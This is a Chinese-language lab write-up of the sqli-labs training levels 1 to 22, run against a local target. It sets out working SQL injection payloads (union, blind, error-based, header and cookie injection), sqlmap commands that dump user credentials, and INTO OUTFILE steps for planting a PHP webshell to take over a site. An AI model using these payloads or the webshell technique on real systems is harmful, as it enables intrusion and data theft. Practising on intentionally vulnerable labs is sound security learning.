本blog作为练习笔记, 文笔不才, 仅供参考, 不正之处望大神指正。
基本注入篇对应labs的1~22关:
Sqli-labs 基本注入篇
Less-1 单引号显错注入
一、手工注入
1. 判断字符型与整数型注入
2. 爆字段数
3. 爆库爆表爆字段
4. 取对应字段的值
二、sqlmap自动注入
1. 检测目标网站存在的注入漏洞类型
2. 爆库
3. 爆表
4. 爆字段
5. 爆数据
Less-2 整数型显错注入
1. 依旧先判断是整数型还是字符型注入:
2. 剩下的注入和Less-1如出一辙。不再赘述...
Less-3 字符型变形显错注入
1. 判断是字符型注入
2. 接下来就如出一辙了
Less-4 字符型双引号显错注入
Less-5 字符型单引号双注入
1. 布尔盲注
2. 延时注入
Less-6 字符型双引号双注入
Less-7 文件写入注入
补充:
Less-8 字符型单引号布尔盲注
Less-9 字符型单引号延时盲注
Less-10 字符型双引号延时盲注
中场休息
Less-11 单引号显错注入
一、手工注入
二、sqlmap自动注入(post型)
Less-12 双引号显错变形注入
Less-13 单引号字符型变形双注入
Less-14 单引号字符型变形双注入
Less-15 单引号布尔盲注、延时注入
Less-16 双引号布尔盲注、延时注入
Less-17 更新查询显错注入
Less-18 基于代理的POST头显错注入
Less-19 基于Referer的POST头显错注入
Less-20 基于Cookie的POST头注入
Less-21 基于POST的文件写入注入
Less-22 基于POST的文件写入注入(变形)
输入: and 1=1, 页面正常
再输入: and 1=2, 页面依旧正常, 可知不是整数型注入
输入单引号, 页面报错, 初步判断注入的单引号被包含在一对单引号之间了:
再追加输入#(url编码后是%23), 注释掉最后一个单引号, 完成闭合:
页面正常, 由此可知, 为字符型显错注入。
已知为字符型型显错注入之后, 就可以采用联合注入了, 在此之前, 得爆字段数:
输入: ' order by 3%23, 页面不变化
再输入: 'order by 4%23, 页面报错, 可知字段数为 3。
发现没有变化? ! !
ps: id需要传入一个错误值来引导报错
sqlmap作为一个注入神器, 在练习sqli时仅提一下, 主要还是以手工注入为主, 加深对sql注入原理的理解。
sqlmap -u "http://localhost:2333/Less-1/index.php?id=1"
sqlmap -u "http://localhost:2333/Less-1/index.php?id=1" --dbs
爆数据库security下的所有表
sqlmap -u "http://localhost:2333/Less-1/index.php?id=1" -D security --tables
爆数据库security下的users表的所有字段
sqlmap -u "http://localhost:2333/Less-1/index.php?id=1" -D security -T users --columns
提取指定数据库、表以及字段的值, 并利用参数--dump生成在本地:
sqlmap -u "http://localhost:2333/Less-1/index.php?id=1" -D security -T users -C "id,username,password" --dump
输入单引号: 页面报错; 再进一步用and语句判断, 发现还是报错, 错误表示多了一个单引号(多余注入了单引号):
排除字符型注入。
输入: and 1=1, 页面正确; 再输入: and 1=2, 页面不正常:
最后判定为整数型注入。
故排除是整数型注入;
再输入单引号, 发现报错:
猜测网站的sql语句是:
select * from *** where id=("1") LIMIT 0,1
id值处于1的位置, 于是构造注入语句, 完成括号和单引号的闭合:
') and 1=1#
判断排除整数型注入:
输入单引号, 发现无变化, 可能是被过滤掉或者屏蔽掉了。
再尝试注入双引号:
判断sql语句可能为:
select * from ** where id=("$id") LIMIT 0,1
于是注入语句就和上一题差不多, 只是单引号换为双引号:
看到这个界面, 判断可知是字符型注入:
没有明显的回显信息, 但是当sql语句不正确的时候, 页面会发生变化:
由此可以用布尔盲注和延时注入 (延时是当不管sql正不正确页面都无变化的情况)
判断数据库长度是否大于7, 页面正确, 说明长度大于7
但是不大于8:
由此可以得知数据库长度为 7
知道数据库长度为7之后, 就开始一个一个地判断字符了:
' and ord(substring(database(),1,1))>114# ==> 页面正常
' and ord(substring(database(),1,1))>115# ==> 页面错误
由此可知第1位字符的ascii码是115, 对应是字符 s
依次猜解第2,3,4...位字符:
猜解第2位: ' and ord(substring(database(),2,1))>101# ==> e
猜解第3位: ' and ord(substring(database(),3,1))>99# ==> c
..........
最后拼起来就是数据库名: security
' and (select count(table_name) from information_schema.tables where table_schema="security")>4# ==> 页面错误
' and (select count(table_name) from information_schema.tables where table_schema="security")>3# ==> 页面正常
可知表的个数为 4
' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5# ==> 正常
' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6# ==> 错误
由此可知第一个表的长度为 6
' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100# ==> 正常
' and ord(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101# ==> 错误
猜解得表的第一个字符的ascii码为101, 对应字符为 e
依次猜解...., 最后得第一个表名: emails
没有耕坏的田, 只有累死的牛....手工盲注实在太累了, 这里就不再一步步演示了。
延时注入上面提到过, 适用于当不管sql正不正确页面都无变化的情况。
在布尔盲注的基础上加上if语句和sleep函数:
可以看到browser在等待响应(线程在sleep), 说明数据库名长度不大于10
除此之外就和布尔盲注没有什么区别了, 故不在阐述。
注入单引号无反应, 再输入双引号, 页面报错:
进一步发现是双引号注入,
剩下的就和上一题大同小异了。
步骤依旧判断一波:
发现这关把所有回显(显错)都指向到一个错误提示: You have an error in your SQL syntax, 这就和前几题一样使用盲注(布尔、延时兼可)
但是单引号似乎不对, 应该是id值的附近被什么符号闭合了,
可能是: select * from users where id=['id']
或者是: select * from users where id=('id')
或者是: select * from users where id={'id'}....
经过尝试, 得出是两个括号闭合住id值:
接下来就和盲注一样的方法了, 这里建议用sqlmap跑。
尝试写入文件操作:
报错, 初步判定是没有权限或者secure_file_priv关闭
盲注当前用户名之后得出是root用户, 于是就去靶机上看看当前数据库的配置:
根据mysql官方文档:
- secure_file_priv为null 表示不允许导入导出
- secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
- secure_file_priv没有设置时,则表示没有任何限制
开启secure_file_priv任意写入之后就可以开始委琐欲为了= =
最后还是不行....
突然灵机一下, 写入在当前目录试试:
成功了, 喜出望外, 但是文件在哪儿呢?.......再看看配置文件的数据存储目录:
好了, 这样就可以写入操作了, 比如将数据库security下的所有表写入到tables.txt文件:
当然了, 写入功能远不止如此, 还可以写入php一句话木马:
再使用菜刀链接就可以拿下整个站点。
实际情况下,如果可扫描出phpmyadmin的后台(具有最高权限),并且后台使用弱口令,也可以通过爆破进入后台,从后台注入文件。
1. 创建hack表: create table hack(cmd varchar(64));
2. 插入php一句话木马(表数据): insert into hack values("");
3. 查询+写入生成木马文件: select cmd from hack into outfile "./hack.php";
其实这个不如: select 1,2,"" into outfile "./hack.php" 来得快。
这题和Less-5没啥区别...水题, skip over
发现不管怎么注入, 页面都没有变化:
在这种情况下就用到了延时注入:
接下来就与Less-5的做法一致了, 不再演示。
就把Less-9的单引号变为双引号...水题
到此, GET型就练习完毕了, 接下来就是POST型的练习
看到登录框, 就想到应该是post型注入
可以看到 当登录成功的时候会有信息提示, 这里就可以看看此处有没有信息回显的注入点:
注入点出现, 继续注入:
当2的时候无报错, 故字段数为 2
ps : 用户名为错误的时候才能出现注入信息 (引导显错注入)
于是, 注入语句为:
' union select 1,2 from (表名) #
比如, 爆数据库下的所有表名:
以此类推, 爆字段数等
先用burpsuite抓一个包, 登录名和密码可以随意
将请求头作为文件保存在本地, 然后用sqlmap跑起来:
sqlmap -r post.txt
发现了用户名和密码的注入类型, 然后在跑所有数据库:
sqlmap -r post.txt --dbs
跑指定数据库下的所有表:
sqlmap -r post.txt -D security --tables
指定数据库、表的字段:
sqlmap -r post.txt -D security -T users --columns
跑数据:
sqlmap -r post.txt -D security -T users -C "id,username,password" --dump
开始输入单引号, 发现无变化, 应该是被过滤了; 再输入双引号, 发现报错了:
于是猜想sql语句可能是用户在前面, 密码在后面, 而且值都是用括号闭合起来的:
select username, password from table where username=($username) and password=($password) limit 0,1;
然后可以这样构造用户名(密码随意)注入语句:
admin") and 1=1 #
当传入代码中的sql语句:
select username, password from table where username=("admin") and 1=1 # and password=($password) limit 0,1;
字段数为2
其他的就跟上一题一模一样了...
判断单引号注入:
而且推测sql语句是:
select username, password from table where username=('$username') and password=('$password') limit 0,1;
于是构造对应的注入语句后, 发现没有明显的回显信息:
前提是用户名要是在数据库存在的, 而且回显信息只是登录成功与否。
采用布尔盲注或者延时注入即可, 这里就不再演示繁琐的过程了, 最好用sqlmap跑。
这题只会显示登录是否成功, 同上题一样的思路.....
区别就是这题注入的时候, 注释符不可用(用和不用都一样)。
和前两天大同小异, 同样判断得是单引号注入:
采用布尔盲注或延时注入即可。
把上一题的单引号改为双引号就是这一题的了。
但是! 发现没那么简单:
于是推测代码的sql语句中有猫腻, 由于无报错信息回显, 所以就只能猜了:
果然被一个括号闭合了, 构造反括号即可, 接下来就是一样的思路了。
正常操作:
对用户名尝试注入, 发现总是这个提示...估计用户名是被过滤了:
查看分析源码:
发现有一个很牛*的过滤函数: 先截取值的前15个字符, 再将所有可转义字符转义(在没有开启魔术引号的时候), 若是数字则用mysql_real_escape_string函数转义特殊字符;
(本人)无法进行绕过, 接着往下看:
发现只有用户名采用了过滤函数, 修改的密码并没有过滤;
于是注入点瞄准密码部分, 利用报错信息:
立即YY出sql更新查询语句:
UPDATE users SET password=$NewPassword WHERE username=$username;
根据这个语句, 安装之前的做法是行不通的, 实践也证明了这一点:
鉴于相比前几题基于联合查询sql注入的差异性,使用insert、update和delete进行sql注入显得略显另类;
故要采用特殊的方法-------updatexml()注入
mysql中, 对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML(),
1. EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串2. UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
能够用于注入是因为,当xpath不符合语法时,该语句会报错 XPATH syntax error : (注入信息), 故可以将待查询的信息放入xpath中,通过报错回显出来。
updatexml()
的xml_target
和new_xml
参数随便设定一个数,主要利用报错返回信息。一般形式为:
... or updatexml(1,concat('#',(select * from (select ...)), '#'),0) ...
红色部分是注入部分。
在爆库的时候, 若注入语句是:
123' or updatexml(1,concat('#', database(), '#'),0) #
这样注入后的sql语句就是:
UPDATE users SET password='123'
or updatexml(1,concat('#', database(), '#'),0) #
WHERE username=$username;
同理, 爆数据库security下的所有表:
123' or updatexml(1,concat('#', (select group_concat(table_name) from information_schema.tables where table_schema=database()), '#'),0) #
123' or updatexml(1,concat('#', (select group_concat(column_name) from information_schema.columns where table_name="users"), '#'),0) #
123' or updatexml(1,concat('#', (select id,username,password from security.users), '#'),0) #
出现问题,
原因是: 不能在update中先select(指定)一个表名再update。
解决: 利用select子嵌套查询来规避错误。
123' or updatexml(1,concat('#', (select * from (select concat_ws("-",id,username,password) from users limit 0,1) as t), '#'),0) #
因为一次只能显示一条, 所以用limit来偏移注入:
注入完成;
当然, 也可以采用ExtractValue()函数注入, 原理大同小异, 请读者自行尝试。
正常登录, 发现post头有回显(可注入):
burp抓个包测试:
注入前提是用户名和密码要正确才能回显成功, 典型的post头注入。
首先, 由报错信息:
syntax to use near: 172.17.0.1', 'admin')
注入的单引号由于和前面的单引号闭合, 产生报错,
继续测试, 发现注入信息在第一个位置, 第二位置为ip, 第三个位置是用户名:
推测sql语句应该是insert或者update:
insert into table values('$User-Agent', '$ip', '$username');
好了, 到此解法就和上一题上不多了, 对于特殊的update或者insert语句的注入,
可以采用updatexml()或者extractvalue()注入, 这里就用extractvalue()演示:
User-Agent 注入语句:
abc' and extractvalue(1, concat('#', (select database()), '#')) and '1'='1
那么注入之后的sql语句就是:
insert into table values ('abc' and extractvalue(1, concat('#', (select database()), '#')) and '1'='1', '$ip', '$username' );
为什么后面要多出 and '1'='1 呢?
因为传入网站代码后, 注入语句会被加上单引号, 注入语句中的第一个单引号与程序附加的前一个单引号形成闭合: '123'; 而 and '1'='1 与程序附加的后一个单引号完成闭合: ... and '1'='1' ..., 这样才不会报错。
接下来就是和上一题一样的思路了, 故不再复述。
这题和上一题的差异就在与注入点不同, 方法思路都是一样的。
分析后, 发现用户名和密码都无注入点;
发现回显是Referer信息, 于是抓包分析:
在referer处存在注入点, 回显信息为: ...172.17.0.1' ), 猜测sql语句可能是update或者insert:
insert into table values ('$Referer', '$ip');
于是, 注入方法同上一题;
正常登录:
发现很多回显信息, 为了便于找到注入点, 抓包分析:
1. 抓到第一个包, 尝试注入后发现无注入点, 放包:
2. 第二个包貌似和回信的信息有点关联关联:
3. 于是尝试在cookie注入单引号:
注入点找到!
------------------------------------------------
为了更好的理解, 查看源码看看逻辑:
分析完毕
------------------------------------------------
从最后的sql语句:
select * from users where username='$cookee' limit 0,1;
可知, 可以用联合查询显错注入:
故字段数为 3
ps: 一定不要忘了要在cookie的uname参数传一个错误的值引导显错注入
剩下的就是之前的方法了。
界面大致和上一题一样, 正常登录成功后, 发现cookie是base64加密过的:
分析:
1. 网站程序肯定是先将sql语句或者传入的参数值在传输过程中先进行base64加密;
2. 在mysql数据库登录校验查询的时候进行解密;
3. 最后在输出到用户界面的时候再进行加密。
理清思路之后就好办了, 直接抓包:
base64解密之后:
我们把注入的语句写好, 在进行base64加密, 再forward出去就好了:
通过报错信息: ... 'admin' ' ), 注入的单引号和前一个单引号完成闭合, 可以猜测sql语句为:
select * from table where username=('$uname') limit 0,1;
开始注入:
可以看到注入成功了, 那么接下来的注入方法就和上上一题一样了, 就多了base64加密这一步:
注入语句:
base64加密注入语句:
forward之后, 得到结果:
还发现有文件写入注入漏洞, 可以通过select into outfile path 将数据写入到文件:
写入成功之后, 查看文件路径:
在判断注入点的时候, 发现注入单引号无效:
当尝试注入双引号时候, 发现可以:
那么接下来就和上一题一样的操作了。
好了基础篇的sql注入就告一段落了, 总的来说还是挺简单了。